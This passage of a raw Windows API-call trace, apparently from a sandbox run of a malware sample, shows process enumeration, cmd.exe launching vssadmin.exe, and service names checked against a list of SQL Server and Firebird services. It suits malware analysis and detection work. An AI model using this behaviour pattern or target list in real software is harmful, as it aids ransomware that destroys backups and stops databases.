lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0040.089] lstrlenW (lpString="rubber.exe") returned 10 [0040.089] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0040.089] lstrlenW (lpString="petroleum.exe") returned 13 [0040.089] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0040.090] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0040.090] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0040.091] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0040.091] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0040.091] lstrlenW (lpString="batman_oliver.exe") returned 17 [0040.091] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0040.347] lstrlenW (lpString="formation.exe") returned 13 [0040.347] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0040.347] lstrlenW (lpString="whole.exe") returned 9 [0040.348] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0040.348] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0040.348] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0040.349] lstrlenW (lpString="disorder.exe") returned 12 [0040.349] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0040.349] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0040.350] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0040.350] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0040.350] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0040.351] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0040.351] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0040.351] lstrlenW (lpString="perspective.exe") returned 15 [0040.351] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0040.352] lstrlenW (lpString="demand-site.exe") returned 15 [0040.352] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0040.353] lstrlenW (lpString="attachment.exe") returned 14 [0040.353] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0040.353] lstrlenW (lpString="valid-permit.exe") returned 16 [0040.353] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0040.354] lstrlenW (lpString="knights.exe") returned 11 [0040.354] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0040.355] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0040.355] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0040.355] lstrlenW (lpString="mobsync.exe") returned 11 [0040.355] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0040.356] lstrlenW (lpString="ohbdap.exe") returned 10 [0040.356] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0040.357] lstrlenW (lpString="cmd.exe") returned 7 [0040.357] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0040.357] lstrlenW (lpString="conhost.exe") returned 11 [0040.357] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0040.358] lstrlenW (lpString="vssadmin.exe") returned 12 [0040.358] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0040.359] lstrlenW (lpString="VSSVC.exe") returned 9 [0040.359] Process32NextW (in: hSnapshot=0x1e8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0040.359] CloseHandle (hObject=0x1e8) returned 1 [0040.359] Sleep (dwMilliseconds=0x1f4) [0041.154] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ffa8 [0041.154] EnumServicesStatusExW (in: hSCManager=0x52ffa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0041.154] GetLastError () returned 0xea [0041.154] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x123e) returned 0x40038b0 [0041.154] EnumServicesStatusExW (in: hSCManager=0x52ffa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40038b0, cbBufSize=0x123e, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40038b0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0041.155] CloseServiceHandle (hSCObject=0x52ffa8) returned 1 [0041.155] lstrlenW (lpString="Appinfo") returned 7 [0041.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0041.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0041.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0041.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0041.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0041.155] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0041.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.155] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0041.155] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0041.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0041.155] lstrlenW (lpString="AudioSrv") returned 8 [0041.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0041.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0041.156] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0041.156] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0041.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0041.156] lstrlenW (lpString="BFE") returned 3 [0041.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0041.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0041.156] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0041.156] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0041.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0041.156] lstrlenW (lpString="CryptSvc") returned 8 [0041.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0041.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0041.156] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0041.156] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0041.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0041.156] lstrlenW (lpString="CscService") returned 10 [0041.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0041.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0041.156] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0041.156] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0041.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0041.156] lstrlenW (lpString="DcomLaunch") returned 10 [0041.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.156] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0041.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0041.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0041.156] lstrlenW (lpString="Dhcp") returned 4 [0041.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0041.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0041.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0041.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0041.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0041.156] lstrlenW (lpString="Dnscache") returned 8 [0041.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0041.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0041.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0041.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0041.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0041.157] lstrlenW (lpString="DPS") returned 3 [0041.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0041.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0041.157] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0041.157] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0041.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0041.157] lstrlenW (lpString="eventlog") returned 8 [0041.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0041.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0041.157] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0041.157] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0041.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0041.157] lstrlenW (lpString="EventSystem") returned 11 [0041.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0041.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0041.157] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0041.157] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0041.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0041.157] lstrlenW (lpString="gpsvc") returned 5 [0041.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0041.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0041.157] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0041.157] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0041.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0041.157] lstrlenW (lpString="iphlpsvc") returned 8 [0041.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.157] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0041.158] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0041.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0041.158] lstrlenW (lpString="LanmanServer") returned 12 [0041.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0041.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0041.158] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0041.158] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0041.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0041.158] lstrlenW (lpString="LanmanWorkstation") returned 17 [0041.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.158] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0041.158] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0041.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0041.158] lstrlenW (lpString="lmhosts") returned 7 [0041.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0041.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0041.159] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0041.159] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0041.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0041.159] lstrlenW (lpString="MMCSS") returned 5 [0041.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0041.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0041.159] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0041.159] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0041.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0041.159] lstrlenW (lpString="MpsSvc") returned 6 [0041.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0041.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0041.159] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0041.159] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0041.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0041.159] lstrlenW (lpString="Netman") returned 6 [0041.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.159] lstrlenW (lpString="netprofm") returned 8 [0041.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.159] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.159] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.159] lstrlenW (lpString="NlaSvc") returned 6 [0041.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.159] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.159] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.159] lstrlenW (lpString="nsi") returned 3 [0041.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.160] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.160] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.160] lstrlenW (lpString="PcaSvc") returned 6 [0041.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.160] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.160] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.160] lstrlenW (lpString="PlugPlay") returned 8 [0041.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.160] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.160] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.160] lstrlenW (lpString="Power") returned 5 [0041.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.160] lstrlenW (lpString="ProfSvc") returned 7 [0041.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.160] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.160] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.160] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.160] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.160] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.161] lstrlenW (lpString="RpcSs") returned 5 [0041.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.161] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.161] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.161] lstrlenW (lpString="SamSs") returned 5 [0041.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.161] lstrlenW (lpString="Schedule") returned 8 [0041.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.161] lstrlenW (lpString="SENS") returned 4 [0041.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0041.161] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.161] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.161] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.161] lstrlenW (lpString="Spooler") returned 7 [0041.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0041.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.162] lstrlenW (lpString="SysMain") returned 7 [0041.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 